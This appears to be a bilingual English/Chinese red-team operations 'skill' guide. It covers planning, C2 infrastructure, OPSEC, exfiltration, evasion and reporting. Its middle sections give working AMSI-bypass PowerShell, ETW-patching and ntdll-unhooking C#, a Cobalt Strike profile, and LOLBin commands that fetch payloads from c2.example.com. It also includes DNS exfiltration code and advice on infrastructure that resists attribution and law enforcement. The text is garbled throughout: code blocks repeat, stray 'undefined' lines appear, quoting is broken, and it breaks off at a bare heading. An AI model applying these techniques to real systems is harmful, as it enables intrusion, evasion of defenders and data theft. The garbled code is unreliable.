Advanced Red Team Operations

高级红队运营

Red team engagements simulate real-world adversaries against an organization's people, processes, and technology. Unlike penetration tests that maximize vulnerability discovery in a fixed scope, red team operations test detection and response capabilities by pursuing specific objectives while evading defenders. You operate under rules of engagement that define what is in bounds, and every action you take must be deliberate, documented, and reversible. This skill covers the full engagement lifecycle from initial planning through final debrief.

红队交战模拟现实世界中的对手，以组织的员工、流程和技术为目标。与在固定范围内尽可能多地发现漏洞的渗透测试不同，红队运营会在规避防御方的同时追求特定目标，从而测试检测与响应能力。你将在交战规则（ROE）下行动，这些规则界定了允许开展的行为；你采取的每项行动都必须是审慎的、有记录的且可逆的。本 skill 覆盖从初始规划到最终复盘的完整交战生命周期。

Quick Workflow

快速工作流

Negotiate scope, rules of engagement, and deconfliction procedures with the client.
Build tiered attack infrastructure with redirectors, aged domains, and valid TLS.
Configure C2 profiles to blend with the target's legitimate traffic patterns.
Execute the attack chain while maintaining strict OPSEC and logging every action.
Collect and stage data with encryption; maintain chain of custody throughout.
Evade endpoint and network defenses using tested bypass techniques.
Document findings with MITRE ATT&CK mappings and deliver structured reporting.
Conduct purple team debrief to validate detection gaps and remediation.

与客户协商范围、交战规则（ROE）和去冲突流程。
使用重定向器、预热域名和有效 TLS 构建分层攻击基础设施。
配置 C2 配置，使其与目标的合法流量模式融为一体。
执行攻击链，同时严格遵守 OPSEC，并记录每项操作。
收集并暂存数据并对其进行加密；全程维持 chain of custody。
使用经过测试的绕过技术，规避端点与网络防御。
使用 MITRE ATT&CK 映射记录发现，并交付结构化报告。
开展紫队复盘，以验证检测缺口和修复情况。

Engagement Planning

交战规划

Every red team engagement begins with planning that protects both the operator and the client. Skipping this phase leads to scope disputes, legal exposure, and operational failures.

每次红队交战都始于规划，该阶段既保护操作人员，也保护客户。跳过这一阶段会导致范围争议、法律风险和行动失败。

Scope and Objectives

范围与目标

Define what you are testing and what success looks like. Common objective types include data exfiltration (retrieve specific records from a database), domain dominance (obtain Domain Admin or equivalent), business process disruption (demonstrate ability to halt a critical workflow), and physical access (gain entry to a restricted area).

Document explicitly what is out of scope: production systems that cannot tolerate downtime, third-party SaaS platforms without authorization, destructive actions, and social engineering of specific individuals (executives, legal counsel).

明确你要测试什么，以及怎样才算成功。常见目标类型包括数据外泄（从数据库中获取特定记录）、域控制（获取 Domain Admin 或同等权限）、业务流程中断（证明能够中止关键工作流），以及物理访问（进入受限区域）。

明确记录哪些内容不在范围内：无法承受停机的生产系统、未经授权的第三方 SaaS 平台、破坏性操作，以及针对特定个人（高管、法务顾问）的社会工程。

Rules of Engagement (ROE)

交战规则（ROE）

The ROE is a signed legal document. It must contain:

Authorization window: exact dates and hours of permitted activity.
Authorized techniques: which ATT&CK tactics are permitted (e.g., no physical access, no supply chain attacks).
Notification thresholds: conditions under which you must pause and notify the client (e.g., discovering active threat actor, finding child exploitation material, accidental data destruction).
Emergency contacts: a 24/7 phone number for immediate deconfliction, not just email.
Legal shield: explicit written authorization referencing the Computer Fraud and Abuse Act (US), Computer Misuse Act (UK), or equivalent local statute.

交战规则（ROE）是一份签署的法律文件。它必须包含：

授权时段：允许开展活动的准确日期和时间段。
授权技术：允许使用哪些 ATT&CK tactics，例如禁止物理访问或供应链攻击。
通知阈值：必须暂停行动并通知客户的情形，例如发现正在活动的威胁行为者、发现儿童性剥削材料或意外破坏数据。
紧急联系人：用于立即去冲突的全天候电话号码，而不只是电子邮箱。
法律依据：明确书面授权，并引用《Computer Fraud and Abuse Act》（美国）、《Computer Misuse Act》（英国）或等效的当地法律。

Deconfliction

去冲突

Establish a deconfliction process so defenders can verify whether observed activity is your operation or a real threat. Common approaches:

Trusted agent model: one or two individuals on the defender side who know the engagement is happening and can confirm or deny your activity via a secure channel.
Code word system: a unique code word embedded in your tooling or traffic that defenders can query the trusted agent about.
Deconfliction log: a timestamped record of every action you take, shared with the trusted agent in near-real-time via an encrypted channel.

text

undefined

建立去冲突流程，使防御人员能够判断所观察到的活动是你的行动还是真实威胁。常见方式包括：

可信代理模型：由防御方的一两名人员知晓交战正在开展，并可通过安全信道确认或否认你的活动。
代码口令系统：在工具或流量中加入唯一代码口令，防御人员可向可信代理核实。
去冲突日志：通过加密信道近实时地向可信代理共享一份带时间戳的完整操作记录。

text

undefined

Example deconfliction log entry

2026-08-25T14:32:00Z | OPERATOR: kai | ACTION: lateral-movement TARGET: 10.10.5.22 (WORKSTATION-FIN03) TECHNIQUE: T1021.006 (Windows Remote Management) TOOL: evil-winrm via SOCKS proxy NOTES: creds from LSASS dump on WORKSTATION-FIN01 DECONF-CODE: REDTIGER-4482

undefined

2026-08-25T14:32:00Z | OPERATOR: kai | ACTION: lateral-movement TARGET: 10.10.5.22 (WORKSTATION-FIN03) TECHNIQUE: T1021.006 (Windows Remote Management) TOOL: evil-winrm via SOCKS proxy NOTES: creds from LSASS dump on WORKSTATION-FIN01 DECONF-CODE: REDTIGER-4482

undefined

Communications Security

通信安全

All operator communications use end-to-end encrypted channels. Never discuss target details over unencrypted email or Slack. Use a dedicated encrypted messaging platform (Signal, Wire, or a self-hosted Matrix instance) for real-time coordination. Transfer files and logs over mutually authenticated TLS or via GPG-encrypted archives.

所有操作人员通信均使用端到端加密信道。绝不要通过未加密的电子邮件或 Slack 讨论目标细节。使用专用加密消息平台（Signal、Wire 或自托管的 Matrix 实例）进行实时协调。通过相互认证的 TLS 或 GPG 加密归档传输文件和日志。

Infrastructure Setup

基础设施搭建

Your infrastructure is what separates a red team engagement from a penetration test run out of a Kali VM. Invest time in building infrastructure that is resilient, attributable only to your cover identity, and segmented so that burning one asset does not compromise the operation. Map infrastructure actions to MITRE ATT&CK Resource Development (TA0042).

基础设施是红队交战与直接从 Kali VM 发起渗透测试之间的关键区别。应投入时间构建具备以下特征的基础设施：具备韧性、只能归因到你的掩护身份，并经过分段处理，使烧毁单一资产不会危及整个行动。将基础设施操作映射到 MITRE ATT&CK Resource Development（TA0042）。

Tiered Architecture

分层架构

Segment infrastructure into at least three tiers:

Tier	Purpose	Burn Tolerance	Example
T1 - Delivery	Phishing, payload hosting	High (expect burn)	Aged domain + Mailgun
T2 - Short-haul C2	Interactive operator sessions	Medium	VPS + Cloudflare tunnel
T3 - Long-haul C2	Persistence callbacks	Low (protect at all costs)	DNS-over-HTTPS beacon

Each tier uses separate domains, separate VPS providers, and separate operator accounts. If T2 is burned, you re-establish interactive access through T3 without re-phishing.

将基础设施划分为至少三个层级：

层级	用途	烧毁容忍度	示例
T1 - Delivery	钓鱼、payload 托管	高（预期会被烧毁）	预热域名 + Mailgun
T2 - Short-haul C2	交互式操作会话	中	VPS + Cloudflare tunnel
T3 - Long-haul C2	持久回连	低（不惜一切代价保护）	DNS-over-HTTPS beacon

每个层级都使用独立域名、独立 VPS 服务商和独立操作账户。如果 T2 被烧毁，你可以通过 T3 重新建立交互式访问，而无需再次实施钓鱼。

Domain Aging and Reputation

域名预热与信誉

Register domains at least 14-30 days before the engagement. During the aging period:

bash

undefined

至少在交战开始前 14–30 天注册域名。在预热期间：

bash

undefined

Set up a basic landing page to build categorization

sudo certbot certonly --standalone -d ops-portal.example.com echo "<html><body>Coming soon</body></html>" > /var/www/html/index.html

Submit to categorization services

Visit: https://sitereview.bluecoat.com/

Visit: https://www.fortiguard.com/webfilter

Categorize as "Business" or "Technology" - never "Uncategorized"

Verify categorization after 7-10 days

curl -s "https://sitereview.bluecoat.com/resource/lookup"
-d "url=ops-portal.example.com" | jq .


Choose domain names that blend with the target's industry. If the target is a financial
firm, domains resembling fintech SaaS products are more plausible than gaming sites.

curl -s "https://sitereview.bluecoat.com/resource/lookup"
-d "url=ops-portal.example.com" | jq .


选择能够融入目标行业的域名名称。如果目标是一家金融公司，
类似 fintech SaaS 产品的域名会比游戏网站更可信。

Redirectors and Traffic Filtering

重定向器与流量过滤

Never expose your team server directly to the internet. Use redirectors that filter traffic and forward only legitimate beacon callbacks.

nginx

undefined

绝不要将团队服务器直接暴露在互联网上。使用能够过滤流量、且仅转发合法 beacon 回调的重定向器。

nginx

undefined

/etc/nginx/sites-available/redirector.conf

Smart redirector: forward only traffic matching your C2 profile

server { listen 443 ssl; server_name ops-portal.example.com;

ssl_certificate /etc/letsencrypt/live/ops-portal.example.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/ops-portal.example.com/privkey.pem;

# Only forward requests with the correct URI and User-Agent
location /api/v2/session {
    if ($http_user_agent !~* "Microsoft-Delivery-Optimization") {
        return 302 https://www.microsoft.com;
    }
    proxy_pass https://127.0.0.1:8443;
    proxy_ssl_verify off;
    proxy_set_header Host $host;
    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}

# Everything else redirects to a legitimate site
location / {
    return 302 https://www.microsoft.com;
}

}


For team server management traffic, use Cloudflare Zero Trust tunnels or SSH tunnels
rather than exposing management ports:

```bash

server { listen 443 ssl; server_name ops-portal.example.com;

ssl_certificate /etc/letsencrypt/live/ops-portal.example.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/ops-portal.example.com/privkey.pem;

# Only forward requests with the correct URI and User-Agent
location /api/v2/session {
    if ($http_user_agent !~* "Microsoft-Delivery-Optimization") {
        return 302 https://www.microsoft.com;
    }
    proxy_pass https://127.0.0.1:8443;
    proxy_ssl_verify off;
    proxy_set_header Host $host;
    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}

# Everything else redirects to a legitimate site
location / {
    return 302 https://www.microsoft.com;
}

}


对于团队服务器的管理流量，应使用 Cloudflare Zero Trust 隧道或 SSH 隧道，
而不是暴露管理端口：

```bash

Bind team server to localhost only

./teamserver 127.0.0.1 <password> /path/to/malleable.profile

Create a Cloudflare tunnel for operator access

cloudflared tunnel create redteam-mgmt cloudflared tunnel route dns redteam-mgmt mgmt.internal-ops.example.com cloudflared tunnel run --url tcp://127.0.0.1:50050 redteam-mgmt

Operators connect through the tunnel

On operator machine:

cloudflared access tcp --hostname mgmt.internal-ops.example.com --url 127.0.0.1:50050

undefined

cloudflared access tcp --hostname mgmt.internal-ops.example.com --url 127.0.0.1:50050

undefined

VPS and TLS Certificates

VPS 与 TLS 证书

Use VPS providers that accept cryptocurrency or prepaid cards for attribution resistance. Avoid providers that share infrastructure details freely with law enforcement without due process. Always use valid TLS certificates from a public CA; self-signed certificates are trivially fingerprinted by network monitoring.

bash

undefined

为增强抗归因能力，应选择接受加密货币或预付卡的 VPS 服务商。避免使用那些无需正当法律程序就会向执法机构自由共享基础设施信息的服务商。始终使用公共 CA 签发的有效 TLS 证书；自签名证书很容易被网络监控识别。

bash

undefined

Generate a certificate with certbot

sudo certbot certonly --standalone -d c2.example.com

Convert to Java Keystore for Cobalt Strike

openssl pkcs12 -export -in fullchain.pem -inkey privkey.pem
-out c2.pkcs12 -name c2 -passout pass:changeit keytool -importkeystore -srckeystore c2.pkcs12 -srcstoretype pkcs12
-destkeystore c2.store -deststorepass changeit -srcstorepass changeit

---

openssl pkcs12 -export -in fullchain.pem -inkey privkey.pem
-out c2.pkcs12 -name c2 -passout pass:changeit keytool -importkeystore -srckeystore c2.pkcs12 -srcstoretype pkcs12
-destkeystore c2.store -deststorepass changeit -srcstorepass changeit

---

C2 Tradecraft

Command and control is the backbone of your operation. Your C2 traffic must blend with the target's legitimate network activity and survive defender inspection. Map to MITRE ATT&CK Command and Control (TA0011).

Command and Control 是整个行动的骨干。你的 C2 流量必须与目标的合法网络活动融为一体，并能够经受住防御方检查。映射到 MITRE ATT&CK Command and Control（TA0011）。

Malleable Profiles and Traffic Blending

Malleable Profiles 与流量融合

Study the target's legitimate traffic before writing your malleable profile. If the target is a Microsoft 365 shop, your beacon traffic should resemble Office 365 API calls. If they use AWS heavily, mimic AWS SDK traffic patterns.

text

undefined

编写 malleable profile 前，应先研究目标的合法流量。如果目标使用 Microsoft 365， beacon 流量应类似于 Office 365 API 调用；如果目标大量使用 AWS，则应模仿 AWS SDK 的流量模式。

text

undefined

Cobalt Strike malleable C2 profile excerpt - Microsoft 365 blend

set sleeptime "60000"; set jitter "37"; set useragent "Microsoft Office/16.0 (Windows NT 10.0; Microsoft Outlook 16.0)"; set host_stage "false";

https-certificate { set keystore "c2.store"; set password "changeit"; }

http-get { set uri "/api/v2.0/me/messages"; client { header "Accept" "application/json"; header "Authorization" "Bearer eyJ0eXAiOi..."; metadata { base64url; prepend "ocp-client-id="; header "Cookie"; } } server { header "Content-Type" "application/json; odata.metadata=minimal"; header "X-MS-Request-Id" "a1b2c3d4-e5f6-7890-abcd-ef1234567890"; output { base64url; prepend "{"@odata.context":"https://outlook.office.com/api/v2.0/$metadata#Me/Messages\",\"value\":[{\"Body\":{\"Content\":\""; append ""}}]}"; print; } } }

http-post { set uri "/api/v2.0/me/sendmail"; client { header "Content-Type" "application/json"; id { base64url; prepend "client-request-id="; header "Cookie"; } output { base64url; print; } } server { header "Content-Type" "application/json"; output { base64url; prepend "{"status":"sent","id":""; append ""}"; print; } } }

undefined

set sleeptime "60000"; set jitter "37"; set useragent "Microsoft Office/16.0 (Windows NT 10.0; Microsoft Outlook 16.0)"; set host_stage "false";

https-certificate { set keystore "c2.store"; set password "changeit"; }

http-get { set uri "/api/v2.0/me/messages"; client { header "Accept" "application/json"; header "Authorization" "Bearer eyJ0eXAiOi..."; metadata { base64url; prepend "ocp-client-id="; header "Cookie"; } } server { header "Content-Type" "application/json; odata.metadata=minimal"; header "X-MS-Request-Id" "a1b2c3d4-e5f6-7890-abcd-ef1234567890"; output { base64url; prepend "{"@odata.context":"https://outlook.office.com/api/v2.0/$metadata#Me/Messages\",\"value\":[{\"Body\":{\"Content\":\""; append ""}]}"; print; } } }

http-post { set uri "/api/v2.0/me/sendmail"; client { header "Content-Type" "application/json"; id { base64url; prepend "client-request-id="; header "Cookie"; } output { base64url; print; } } server { header "Content-Type" "application/json"; output { base64url; prepend "{"status":"sent","id":""; append ""}"; print; } } }

undefined

Sleep, Jitter, and Beacon Management

睡眠、抖动与 Beacon 管理

Never use a zero sleep interval except during active hands-on-keyboard sessions, and even then prefer 1-3 seconds. For idle beacons, use long sleep intervals with high jitter to defeat statistical analysis of callback timing.

Beacon Type	Sleep	Jitter	Use Case
Interactive (T2)	5-10s	30-50%	Active operator sessions
Idle (T2)	60-300s	30-50%	Waiting for tasking
Long-haul (T3)	12-24h	50%	Persistence only
Exfiltration	30-60s	20%	During data staging

Set kill dates on every beacon. A forgotten beacon calling back months after the engagement creates legal liability and confusion for the client.

除活跃的手动操作会话外，绝不要使用零睡眠间隔，即使在手动操作期间，也应优先使用 1–3 秒。对于空闲 beacon，应使用较长睡眠间隔和较高抖动，以规避针对回调时间的统计分析。

Beacon 类型	睡眠	抖动	使用场景
交互式（T2）	5-10 秒	30-50%	活跃的操作人员会话
空闲（T2）	60-300 秒	30-50%	等待任务
长程（T3）	12-24 小时	50%	仅用于持久化
数据外泄	30-60 秒	20%	数据暂存期间

为每个 beacon 设置终止日期。被遗忘的 beacon 在交战结束数月后回连，会引发法律责任并让客户陷入困惑。

Fallback Channels

后备信道

Design your C2 with fallback channels so that losing one communication path does not mean losing the implant. A typical fallback chain:

Primary: HTTPS to domain A through CDN.
Secondary: DNS-over-HTTPS to domain B.
Tertiary: DNS TXT record queries to domain C.
Emergency: ICMP or raw TCP to a hardcoded IP (last resort, high detection risk).

Configure the implant to attempt each channel in order with exponential backoff. If all channels fail, the implant should enter a dormant state and retry periodically rather than generating noisy failed connection attempts.

设计 C2 时应加入后备信道，避免失去一条通信路径就同时失去 implant。典型的后备链如下：

主信道：通过 CDN 使用 HTTPS 访问域名 A。
次信道：使用 DNS-over-HTTPS 访问域名 B。
第三信道：向域名 C 发起 DNS TXT 记录查询。
紧急信道：使用 ICMP 或原始 TCP 连接硬编码 IP（最后手段，检测风险高）。

配置 implant 按顺序尝试各信道，并采用指数退避。如果所有信道均失败， implant 应进入休眠状态并定期重试，而不是产生大量嘈杂的失败连接尝试。

OPSEC Discipline

OPSEC 纪律

OPSEC failures end engagements prematurely. Every action you take leaves traces, and your job is to minimize, control, and eventually clean those traces. Map to MITRE ATT&CK Defense Evasion (TA0005).

OPSEC 失败会让交战中途中断。你采取的每项行动都会留下痕迹，你的职责是减少、控制并最终清理这些痕迹。映射到 MITRE ATT&CK Defense Evasion（TA0005）。

Attribution Avoidance

归因规避

Separate your red team identity from your real identity and from other engagements:

Use dedicated VPN or Tor for all engagement-related browsing and registration.
Register domains and VPS under engagement-specific pseudonyms with disposable email addresses.
Never reuse infrastructure, domains, or tooling across engagements.
Strip metadata from all files before delivery (EXIF from images, author info from Office documents, build paths from compiled binaries).

bash

undefined

将你的红队身份、真实身份及其他交战身份相互隔离：

所有与交战相关的浏览和注册操作均使用专用 VPN 或 Tor。
使用交战专用化名和一次性邮箱地址注册域名与 VPS。
绝不要在不同交战之间复用基础设施、域名或工具。
交付前清除所有文件的元数据，包括图片中的 EXIF、Office 文档中的作者信息，以及编译二进制文件中的构建路径。

bash

undefined

Strip metadata from a phishing document

exiftool -all= phishing_doc.docx

Verify no identifying metadata remains

exiftool phishing_doc.docx | grep -iE "author|creator|company|producer"

Strip build paths from a compiled binary (Linux)

strip --strip-all implant objcopy --remove-section=.note.gnu.build-id implant

undefined

strip --strip-all implant objcopy --remove-section=.note.gnu.build-id implant

undefined

Tool Signature Management

工具特征管理

Commercial and open-source tools have known signatures. Modify your tooling to avoid default indicators:

Cobalt Strike: change the default named pipe patterns, watermark, and process injection techniques. Never use the default profile.
Mimikatz: compile from source with randomized function names and string encryption, or use alternatives like
```
nanodump
```
,
```
PPLdump
```
, or LSASS dumping via
```
comsvcs.dll
```
.
Impacket: modify default service names, pipe names, and banner strings that defenders signature.

商业工具和开源工具都具有已知特征。应修改工具以避免默认指标：

Cobalt Strike：更改默认命名管道模式、水印和进程注入技术。绝不要使用默认配置。
Mimikatz：从源代码编译，并随机化函数名称和加密字符串，或者使用 nanodump、PPLdump 等替代方案，或通过 comsvcs.dll 转储 LSASS。
Impacket：修改防御方可据此建立签名的默认服务名称、管道名称和 banner 字符串。

Indicator Management and Cleanup

指标管理与清理

Maintain a running list of every indicator you introduce to the target environment: files dropped, registry keys modified, services created, scheduled tasks added, user accounts created. At engagement end, remove every artifact or provide the client with a complete list for their own cleanup.

powershell

undefined

持续维护一份清单，记录所有引入目标环境的指标：包括投放的文件、修改的注册表项、创建的服务、添加的计划任务以及创建的用户账户。交战结束时，移除每项残留物，或者向客户提供完整清单，以便其自行清理。

powershell

undefined

Example cleanup script - remove all operator artifacts

Run this ONLY after documenting everything in your engagement log

Remove dropped files

Remove-Item -Force "C:\ProgramData\updater.exe" Remove-Item -Force "C:\Windows\Temp\debug.log"

Remove persistence mechanisms

Unregister-ScheduledTask -TaskName "WindowsUpdateCheck" -Confirm:$false Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" ` -Name "Updater"

Remove created accounts

Remove-LocalUser -Name "svc_backup$"

Clear operator event log entries (provide log of cleared entries to client)

WARNING: Only do this if explicitly authorized in the ROE

---

---

Data Handling

数据处理

Every piece of data you collect during an engagement is sensitive. Mishandling it creates legal liability and erodes client trust. Map to MITRE ATT&CK Collection (TA0009) and Exfiltration (TA0010).

交战中收集的每一份数据都很敏感。处理不当会引发法律责任并削弱客户信任。映射到 MITRE ATT&CK Collection（TA0009）和 Exfiltration（TA0010）。

Collection and Encryption

收集与加密

Encrypt all collected data immediately. Never store plaintext credentials, PII, or sensitive business data on your operator machine or in cloud storage without encryption.

bash

undefined

立即加密所有收集到的数据。绝不要在未加密的情况下将明文凭据、PII 或敏感业务数据存储在操作人员计算机或云存储中。

bash

undefined

Encrypt collected data before transfer

tar czf - loot/ | gpg --symmetric --cipher-algo AES256
--batch --passphrase-file /path/to/engagement.key > loot.tar.gz.gpg

Transfer via SCP to your secure evidence server

scp loot.tar.gz.gpg operator@evidence.internal:/engagements/2026-CLIENT/

Verify integrity

sha256sum loot.tar.gz.gpg > loot.tar.gz.gpg.sha256

undefined

sha256sum loot.tar.gz.gpg > loot.tar.gz.gpg.sha256

undefined

Staging and Exfiltration

暂存与外泄

Stage data in a controlled location before exfiltration. Do not exfiltrate directly from the source system; copy to a staging directory, compress, encrypt, then transfer through your C2 channel or a dedicated exfiltration path.

For large volumes, use chunked transfer over DNS or split files across multiple HTTP POST requests to avoid triggering DLP thresholds:

python

undefined

在受控位置暂存数据，然后再进行外泄。不要直接从源系统外泄数据；应先将其复制到暂存目录，再进行压缩和加密，最后通过 C2 信道或专用外泄路径传输。

对于大体积数据，应使用 DNS 分块传输，或将文件拆分到多个 HTTP POST 请求中，以避免触发 DLP 阈值：

python

undefined

Chunk a file for exfiltration over DNS TXT queries

import base64, os

def chunk_file(filepath, chunk_size=180): with open(filepath, 'rb') as f: data = base64.b32encode(f.read()).decode() chunks = [data[i:i+chunk_size] for i in range(0, len(data), chunk_size)] return chunks

import base64, os

def chunk_file(filepath, chunk_size=180): with open(filepath, 'rb') as f: data = base64.b32encode(f.read()).decode() chunks = [data[i:i+chunk_size] for i in range(0, len(data), chunk_size)] return chunks

Each chunk becomes a DNS query: <chunk>.exfil.example.com

Reassemble on your DNS server from query logs

undefined

undefined

Chain of Custody

Maintain a forensic-grade chain of custody for all evidence:

Hash every file at collection time (SHA-256 minimum).
Log who accessed the data, when, and why.
Store evidence on encrypted, access-controlled storage.
Destroy all client data after the agreed retention period (typically 30-90 days post-report).

为所有证据维持符合取证标准的 chain of custody：

在收集时对每个文件计算哈希（最低要求为 SHA-256）。
记录谁在何时、出于何种原因访问了数据。
将证据存储在加密且访问受控的存储介质中。
在约定的保留期结束后销毁所有客户数据（通常为报告交付后的 30–90 天）。

Evasion Techniques

绕过技术

Modern enterprise environments deploy EDR, AMSI, ETW-based telemetry, and behavioral analytics. You need techniques to operate in these environments without triggering alerts. Map to MITRE ATT&CK Defense Evasion (TA0005).

现代企业环境会部署 EDR、AMSI、基于 ETW 的遥测和行为分析。你必须使用相关技术，在这些环境中行动而不触发告警。映射到 MITRE ATT&CK Defense Evasion（TA0005）。

AMSI Bypass

AMSI 绕过

The Antimalware Scan Interface (AMSI) inspects PowerShell, VBScript, JScript, and .NET assembly loads. Bypass it before running any suspicious commands in those contexts.

powershell

undefined

Antimalware Scan Interface（AMSI）会检查 PowerShell、VBScript、JScript 和 .NET 程序集加载。在这些环境中运行任何可疑命令之前，应先绕过 AMSI。

powershell

undefined

AMSI bypass via memory patching (patches AmsiScanBuffer to return clean result)

This is a well-known technique; modify the pattern to avoid static signatures

$a = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils') $f = $a.GetField('amsiInitFailed','NonPublic,Static') $f.SetValue($null,$true)

Alternative: patch the AmsiScanBuffer function directly

Locate amsi.dll in memory and overwrite the scan function entry point

with a RET instruction (0xC3) so it returns immediately

undefined

undefined

ETW Patching

Event Tracing for Windows feeds telemetry to EDR sensors. Patching ETW prevents your activity from being logged through this channel.

csharp

// Patch EtwEventWrite in ntdll.dll to neutralize ETW logging
// Find the function address and overwrite with a RET (xC3)
IntPtr ntdll = GetModuleHandle("ntdll.dll");
IntPtr etwAddr = GetProcAddress(ntdll, "EtwEventWrite");
// Change memory protection, write 0xC3 (ret), restore protection
VirtualProtect(etwAddr, 1, 0x40, out uint oldProtect);
Marshal.WriteByte(etwAddr, 0xC3);
VirtualProtect(etwAddr, 1, oldProtect, out _);

Event Tracing for Windows 会向 EDR 传感器提供遥测数据。对 ETW 进行 Patching，可以阻止你的活动通过此信道被记录。

csharp

// Patch EtwEventWrite in ntdll.dll to neutralize ETW logging
// Find the function address and overwrite with a RET (xC3)
IntPtr ntdll = GetModuleHandle("ntdll.dll");
IntPtr etwAddr = GetProcAddress(ntdll, "EtwEventWrite");
// Change memory protection, write 0xC3 (ret), restore protection
VirtualProtect(etwAddr, 1, 0x40, out uint oldProtect);
Marshal.WriteByte(etwAddr, 0xC3);
VirtualProtect(etwAddr, 1, oldProtect, out _);

Unhooking and Direct Syscalls

Unhooking 与 Direct Syscalls

EDR products hook ntdll.dll functions to monitor API calls. Bypass these hooks by loading a clean copy of ntdll.dll or using direct syscalls.

csharp

// Unhooking: read a clean copy of ntdll.dll from disk and overwrite
// the .text section of the loaded ntdll in memory
byte[] cleanNtdll = File.ReadAllBytes(@"C:\Windows\System32\ntdll.dll");
// Parse PE headers, find .text section, overwrite hooked .text with clean copy
// This removes all EDR inline hooks from ntdll functions

// Direct syscalls: call the kernel directly, bypassing ntdll entirely
// Use tools like SysWhispers3 or HellsGate to resolve syscall numbers at runtime
// Example: NtAllocateVirtualMemory via direct syscall instead of VirtualAllocEx

The SysWhispers approach generates assembly stubs that invoke syscalls directly, completely bypassing any userland hooks. HellsGate and HalosGate resolve syscall numbers dynamically by reading ntdll.dll's export table at runtime.

EDR 产品会 Hook ntdll.dll 函数来监控 API 调用。可通过加载一份干净的 ntdll.dll 或使用 direct syscalls 绕过这些 Hook。

csharp

// Unhooking: read a clean copy of ntdll.dll from disk and overwrite
// the .text section of the loaded ntdll in memory
byte[] cleanNtdll = File.ReadAllBytes(@"C:\Windows\System32\ntdll.dll");
// Parse PE headers, find .text section, overwrite hooked .text with clean copy
// This removes all EDR inline hooks from ntdll functions

// Direct syscalls: call the kernel directly, bypassing ntdll entirely
// Use tools like SysWhispers3 or HellsGate to resolve syscall numbers at runtime
// Example: NtAllocateVirtualMemory via direct syscall instead of VirtualAllocEx

SysWhispers 方法会生成直接调用 syscall 的汇编 stub，从而完全绕过所有用户态 Hook。 HellsGate 和 HalosGate 会在运行时读取 ntdll.dll 的导出表，动态解析 syscall 编号。

LOLBins and Living Off the Land

LOLBins 与 Living Off the Land

Prefer built-in Windows binaries over custom tools. Defenders expect to see these binaries running and may not alert on them unless the command line arguments are suspicious.

LOLBin	Use Case	ATT&CK Technique
`certutil.exe`	File download, base64 decode	T1105, T1140
`mshta.exe`	Execute HTA payloads	T1218.005
`rundll32.exe`	Load DLLs, execute exports	T1218.011
`regsvr32.exe`	Execute scriptlets via COM	T1218.010
`wmic.exe`	Process creation, lateral movement	T1047
`bitsadmin.exe`	File download via BITS	T1197
`curl.exe`	File download (Windows 10+)	T1105
`msbuild.exe`	Execute inline C# tasks	T1127.001

powershell

undefined

优先使用 Windows 内置二进制文件，而不是自定义工具。防御方预期会看到这些二进制文件运行，除非命令行参数可疑，否则不一定会触发告警。

LOLBin	使用场景	ATT&CK 技术
`certutil.exe`	文件下载、base64 解码	T1105, T1140
`mshta.exe`	执行 HTA payload	T1218.005
`rundll32.exe`	加载 DLL、执行导出函数	T1218.011
`regsvr32.exe`	通过 COM 执行 scriptlet	T1218.010
`wmic.exe`	进程创建、横向移动	T1047
`bitsadmin.exe`	通过 BITS 下载文件	T1197
`curl.exe`	文件下载（Windows 10+）	T1105
`msbuild.exe`	执行内联 C# 任务	T1127.001

powershell

undefined

Download a file using certutil (common LOLBin technique)

certutil -urlcache -split -f https://c2.example.com/payload.bin C:\Windows\Temp\payload.bin

Execute an HTA payload via mshta

mshta https://c2.example.com/payload.hta

Use MSBuild to execute inline C# (bypasses application whitelisting)

Requires a .csproj or .xml file with inline Task containing your code

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe payload.xml

---

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe payload.xml

---

Reporting

报告

The report is the primary deliverable of a red team engagement. It must communicate findings to both executive leadership and technical defenders.

报告是红队交战的主要交付物，必须能够同时向执行层领导和技术防御人员传达发现。

Report Structure

报告结构

Organize the report into distinct sections for different audiences:

Executive summary (1-2 pages): business impact in non-technical language. What could an attacker achieve? What is the risk to the organization?
Engagement overview: scope, objectives, timeline, methodology, and any limitations encountered.
Attack narrative: a chronological walkthrough of the attack chain from initial access through objective completion, with timestamps and screenshots.
Technical findings: each finding documented with description, affected systems, MITRE ATT&CK mapping, evidence (screenshots, logs), risk rating, and remediation recommendation.
MITRE ATT&CK heat map: a visual mapping of all techniques used during the engagement, highlighting where detection succeeded and where it failed.
Remediation roadmap: prioritized list of recommendations, grouped by effort and impact.
Indicator appendix: complete list of all IOCs introduced during the engagement (IPs, domains, file hashes, user accounts, registry keys).

将报告划分为面向不同受众的独立章节：

执行摘要（1–2 页）：使用非技术语言说明业务影响。攻击者可能实现什么？组织面临什么风险？
交战概述：范围、目标、时间线、方法以及遇到的任何限制。
攻击叙事：按时间顺序讲解从初始访问到目标完成的攻击链，并附时间戳和截图。
技术发现：每项发现都应包含描述、受影响系统、MITRE ATT&CK 映射、证据（截图和日志）、风险评级及修复建议。
MITRE ATT&CK 热力图：可视化映射交战期间使用的全部技术，突出显示检测成功和检测失败的位置。
修复路线图：按投入成本和影响程度分组的优先级建议清单。
指标附录：完整列出交战期间引入的所有 IOC，包括 IP、域名、文件哈希、用户账户和注册表项。

Purple Team Debrief

Purple Team 复盘

The debrief is where the engagement delivers maximum value. Conduct it within one week of report delivery while details are fresh.

Walk through the attack chain step by step with both the red team and blue team present.
At each step, ask: did the blue team detect this? If yes, how quickly? If no, why not?
Identify specific detection gaps and map them to logging, alerting, or tooling deficiencies.
Collaboratively develop detection rules for techniques that evaded monitoring.
Replay specific techniques in a controlled setting so defenders can tune their tools.

复盘是交战创造最大价值的环节。应在报告交付后一周内开展，趁相关细节仍然清晰。

由红队和蓝队共同参与，逐步讲解整个攻击链。
在每一步询问：蓝队是否检测到了此行为？如果是，检测用了多长时间？如果没有，原因是什么？
找出具体检测缺口，并将其映射到日志记录、告警或工具方面的缺陷。
协作制定检测规则，以覆盖绕过监控的技术。
在受控环境中重放特定技术，让防御人员调整其工具。

Engagement Scenarios

交战场景

Assumed Breach

Assumed Breach（假设失陷）

